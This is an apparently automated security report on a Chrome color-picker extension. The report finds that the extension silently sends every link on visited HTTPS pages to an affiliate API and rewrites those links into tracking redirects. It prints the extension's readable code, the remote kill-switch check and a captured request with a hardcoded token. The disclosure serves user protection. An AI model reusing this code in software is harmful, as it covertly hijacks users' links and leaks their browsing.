Is Color by Fardos - Color Picker safe?

High risk

Color by Fardos sends all link URLs from every HTTPS page to admitad.com and replaces them with affiliate tracking links.

On every HTTPS page, the extension's content script gathers all anchor tag href values and forwards the full list to the background script. The background checks a remote kill-switch at cdn.fardoss.com; when active, it transmits all collected URLs to api.monetize.admitad.com using a hardcoded API token. The API returns affiliate tracking links, which the extension substitutes in place of the original URLs on the page without any user notice.

Fardossv3.2.0Chrome Web Store
76Risk

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Page links rewritten into admitad affiliate tracking URLs

The content script collects anchor hrefs, forwarded to api.monetize.admitad.com via a hardcoded token.

On aliexpress.com, a PUT carried 93 links; admitad returned tatrck.com URLs, all 93 anchors rewritten, no consent.

Kill-switch is live.

Severity
High unwanted
Type
Unexpected
CWE
CWE-506
Source
Dynamic sandbox
What actually happens
You did this

You visit any HTTPS page containing links.

The content script runs on all https://*/* matches declared in the manifest.

The extension did this

Every matching link's destination is rewritten to route through an admitad affiliate redirect before you click it.

After the service worker retrieves tracking links from api.monetize.admitad.com, the content script rewrites matching anchor href attributes in place, with no visual change to the link text and no consent prompt.

Captured request
PUThttps://api.monetize.admitad.com/v1/product/monetize-api/v2/resolve

On Wikipedia (shown above) admitad has no affiliate match, so the response data[] array is empty and no links are rewritten. During the same test session, the identical call on aliexpress.com returned real tatrck.com tracking-link values for all 93 submitted URLs, and every one was applied to the live page's anchor elements.

Headers
Content-Type
application/json
Authorization
Bearer 2236656f8f8a30b5ae5d478997104e7e05ce821b
Body
{  "iris": [    "https://en.wikipedia.org/wiki/Main_Page#bodyContent",    "https://en.wikipedia.org/wiki/Main_Page",    "https://en.wikipedia.org/wiki/Wikipedia:Contents",    "https://en.wikipedia.org/wiki/Portal:Current_events",    "https://en.wikipedia.org/wiki/Special:Random"  ],  "withImages": true}
Page DOM modified

All 93 anchor elements on the live aliexpress.com page had their href attribute rewritten to route through the tatrck.com affiliate redirect after the service worker returned tracking links from admitad; the link text and page layout are unchanged, so the rewrite is not visible to you.

Target
Anchor elements on aliexpress.com product/listing pages
Before
<a href="https://www.aliexpress.com/item/1005006109912345.html">Shop Now</a>
After the extension changed it
<a href="https://tatrck.com/h/0Hu30uVO0RRb?url=https%3A%2F%2Fwww.aliexpress.com%2Fitem%2F1005006109912345.html">Shop Now</a>
The code that does this

Content script, link collection and rewrite (services/search/index.js)

Readable version
class t {  async start() {    let t = this.getLinks();    t.length > 0 && await this.replaceLinks(t);  }  getLinks() {    let t = [];    $("body a").map((e, r) => {      r.href && true == this.isUrl(r.href) && false == t.includes(r.href) && t.push(r.href);    });    return t;  }  async getAdLinks(t) {    return await chrome.runtime.sendMessage({ type: "get-support-links", links: t });  }  async replaceLinks(t) {    (t = await this.getAdLinks(t)) && t.length > 0 && t.map(t => {      $(`body a[href="${t.iri}"]`).map((e, r) => {        $(r).attr("href", t.trackingLink);      });    });  }  isUrl(t) {    let e;    try { e = new URL(t); } catch (r) { return false; }    return "http:" === e.protocol || "https:" === e.protocol;  }}new t().start();
Hosts involved in the link-rewrite chain
    • api.monetize.admitad.com

    Admitad affiliate marketing platform. Receives the full anchor URL inventory of each visited page and issues the tatrck.com tracking links that replace the original hrefs.

    • tatrck.com

    Affiliate click-redirect domain. Every rewritten link on the page routes through this host before continuing to its original destination.

    • cdn.fardoss.com

    Remote kill-switch host operated by the extension developer. The ping.json response controls whether the link rewrite is active; confirmed returning liveCheck=true during testing.

Anchor URL inventory sent to admitad affiliate API on every page

Dynamic analysis captured 12 PUTs to api.monetize.admitad.com carrying every anchor URL from each HTTPS page, 145,592 bytes across Google, Wikipedia, Amazon, for tracking links back. cdn.fardoss.com's kill-switch was live during testing.

Severity
Medium unwanted
Type
Unexpected
CWE
CWE-200
Source
Dynamic sandbox
What actually happens
You did this

You visit any HTTPS page with the extension installed.

The content script runs on all https://*/* matches as declared in the manifest.

The extension did this

Every link on the page is collected and sent to the Admitad monetization API.

After a remote liveCheck gate passes, the full anchor URL array is PUT to api.monetize.admitad.com with a hardcoded authorization token.

Captured request
PUThttps://api.monetize.admitad.com/v1/product/monetize-api/v2/resolve

Returns rewritten affiliate tracking links for matched URLs; unmatched URLs are omitted from the response.

Headers
Content-Type
application/json
Authorization
Bearer 2236656f8f8a30b5ae5d478997104e7e05ce821b
Body
{  "iris": [    "https://en.wikipedia.org/wiki/Main_Page#bodyContent",    "https://en.wikipedia.org/wiki/Main_Page",    "https://en.wikipedia.org/wiki/Wikipedia:Contents",    "https://en.wikipedia.org/wiki/Portal:Current_events",    "https://en.wikipedia.org/wiki/Special:Random"  ],  "withImages": true}
The code that does this

Content script, link collection and relay (services/search/index.js)

Readable version
class t {  async start() {    let t = this.getLinks();    t.length > 0 && await this.replaceLinks(t);  }  getLinks() {    let t = [];    $("body a").map((e, r) => {      r.href && true == this.isUrl(r.href) && false == t.includes(r.href) && t.push(r.href);    });    return t;  }  async getAdLinks(t) {    return await chrome.runtime.sendMessage({ type: "get-support-links", links: t });  }  async replaceLinks(t) {    (t = await this.getAdLinks(t)) && t.length > 0 && t.map(t => {      $(`body a[href="${t.iri}"]`).map((e, r) => {        $(r).attr("href", t.trackingLink);      });    });  }  isUrl(t) {    let e;    try { e = new URL(t); } catch (r) { return false; }    return "http:" === e.protocol || "https:" === e.protocol;  }}new t().start();
The code that does this

Service worker, kill-switch check and API call (background.js)

Readable version
'use strict';chrome.runtime.onMessage.addListener((e, n, t) => {  let { type: o, links: a } = e;  if (o === "get-support-links") return fetch("https://s3.us-east-1.amazonaws.com/cdn.fardoss.com/ping.json")    .then(r => r.json())    .then(r => {      if (r && r.liveCheck == true) {        let c = {          method: "PUT",          headers: {            "Content-Type": "application/json",            Authorization: "Bearer 2236656f8f8a30b5ae5d478997104e7e05ce821b"          },          body: JSON.stringify({ iris: a, withImages: true }),          redirect: "follow"        };        fetch("https://api.monetize.admitad.com/v1/product/monetize-api/v2/resolve", c)          .then(i => i.json())          .then(i => { t(i.data); })          .catch(i => { t([]); });      }    }).catch(r => { t([]); }), true;});
Data transmitted in each PUT request
  • Anchor URLs (iris)
    https://en.wikipedia.org/wiki/Main_Page, https://en.wikipedia.org/wiki/Portal:Current_events, ...

    Every link present on the page you're viewing is included, revealing the structure and content of any site you visit.

  • API authorization token
    Bearer 2236656f8f8a30b5ae5d478997104e7e05ce821b

    A hardcoded Bearer token associates all requests with a single registered Admitad account.

  • withImages flag
    true

    Requests image-enriched affiliate data, indicating the API call is intended for full page monetization.

External hosts receiving data
    • api.monetize.admitad.com

    Admitad affiliate marketing platform. Receives the full anchor URL inventory of each visited page and returns rewritten affiliate tracking links.

    • cdn.fardoss.com

    Remote kill-switch host operated by the extension developer. The ping.json response controls whether URL exfiltration is active; confirmed returning liveCheck=true during testing.

What it can do

Permissions this extension asks for, as declared in version 3.2.0. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • Read and change your data on every secure site you visit

    https://*/*

  • Store data in your browser

    storage

  • Act on the current tab, but only after you click the extension

    activeTab

Where it sends data

Destinations our analysis observed Color by Fardos - (Eye Dropper) contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • api.monetize.admitad.com

    Color by Fardos - (Eye Dropper) sends data to api.monetize.admitad.com. No other extension we have analysed sends data here.

  • s3.us-east-1.amazonaws.com/cdn.fardoss.com

    Color by Fardos - (Eye Dropper) sends data to s3.us-east-1.amazonaws.com/cdn.fardoss.com. No other extension we have analysed sends data here.

Updated 21 September 2026iibpgpkhpfggipbacjfeijkloidhmiei